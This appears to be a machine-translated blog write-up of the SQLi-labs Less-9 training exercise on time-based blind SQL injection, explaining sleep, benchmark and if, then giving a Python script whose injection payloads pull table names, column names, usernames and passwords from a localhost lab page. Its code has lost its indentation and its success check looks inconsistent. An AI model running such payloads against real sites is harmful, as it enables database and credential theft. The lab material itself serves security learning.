当前位置:网站首页>sqlilabs less9
sqlilabs less9
2022-07-01 14:06:00 【It's always late at night.】
The Ninth level prompt is blind injection based on time , First, let's look at the necessary functions
sleep(time) Only in MySQL 5 Later available . wait for time So many seconds
benchmark(count,expr) repeat expr count Time , For testing MySql The speed at which expressions are executed .
if(condition,when_ture,when_false) If meet condition, Just Execute or print when_ture, Otherwise, execute or print when_false
Satisfy condition
dissatisfaction condition
First, judge the injection type
It was used 1’、1"、1 No response , Why didn't you react , I guess it may be because the server will only send You are in… This is a data , So we need some methods to find out whether it is correct , So there is blind time , Judge whether it is correct by observing the waiting time .
Guess it may be so
if ((select * from tables where id = value) There are content )
print You are in.....
else
print You are in.....
OK, let's practice
You can see that there is no waiting time
Waited five seconds , What does it say , Description is character injection
First, judge the number of columns
After judging the number of columns, you can start the next step
The length of the database name found is 8
Find the database name
Table name not found
The attribute name and tuple value are the same
However, manual time blind injection is too troublesome , You can consider burp suite, Or handwritten script .
import requests
def zr(url,zrname):
array1 = "abcdefghijklmnopqrstuvwxyz_-.,"
proof = "0000ff"
tmp = zrname
zrname = ''
for i in range(1,100):
url1 = url + str(i) + ',1)=\''
for s in array1:
url2 = url1 + s + '\',sleep(0.1),1)%23'
r = requests.get(url2)
if proof in r.text:
zrname += s
print( tmp + ": " + zrname)
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),','tablename')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\'),','columnslist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(username) from users),','usernamelist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(password) from users),','passwordlist')
ah , Why is the judgment condition 0000ff
ah
I noticed the right sql It has this
There is no wrong
To sum up
If you encounter some situations , There is only one result on the page that cannot be judged correctly or the injection type , You can use time blind injection to judge the right by waiting time .
边栏推荐
- Go整合Logrus实现日志打印
- 使用CMD修复和恢复病毒感染文件
- sqlilabs less-11~12
- [sword finger offer] 55 - I. depth of binary tree
- 佩服,阿里女程序卧底 500 多个黑产群……
- Liu Dui (fire line safety) - risk discovery in cloudy environment
- [IOT design. Part I] stm32+ smart cloud aiot+ laboratory security monitoring system
- 小程序- view中多个text换行
- Halo effect - who says that those with light on their heads are heroes
- 算网融合赋能行业转型,移动云点亮数智未来新路标
猜你喜欢
sqlilabs less10
"National defense seven sons" funding soared, with Tsinghua reaching 36.2 billion yuan, ranking second with 10.1 billion yuan. The 2022 budget of national colleges and universities was made public
Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
[IOT design. Part I] stm32+ smart cloud aiot+ laboratory security monitoring system
Etcd 概要 机制 和使用场景
进入前六!博云在中国云管理软件市场销量排行持续上升
【Flask】Flask启程与实现一个基于Flask的最小应用程序
【NLP】预训练模型——GPT1
So programmers make so much money doing private work? It's really delicious
Use the right scene, get twice the result with half the effort! Full introduction to the window query function and usage scenarios of tdengine
随机推荐
[241. Design priority for operation expression]
【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板
When the main process architecture game, to prevent calls everywhere to reduce coupling, how to open the interface to others to call?
2022年PMP项目管理考试敏捷知识点(6)
Fiori applications are shared through the enhancement of adaptation project
Detailed explanation of leetcode reconstruction binary tree [easy to understand]
App automation testing Kaiyuan platform appium runner
8款最佳实践,保护你的 IaC 安全!
TexStudio使用教程
Dragon lizard community open source coolbpf, BPF program development efficiency increased 100 times
【Flask】Flask启程与实现一个基于Flask的最小应用程序
Solution to 0xc000007b error when running the game [easy to understand]
el-form-item 正则验证
Applet - applet chart Library (F2 chart Library)
我们该如何保护自己的密码?
Basic knowledge of C language
GET请求如何传递数组参数
SWT / anr problem - how to open binder trace (bindertraces) when sending anr / SWT
Play with mongodb - build a mongodb cluster
“国防七子”经费暴增,清华足足362亿元,甩第二名101亿 |全国高校2022预算大公开...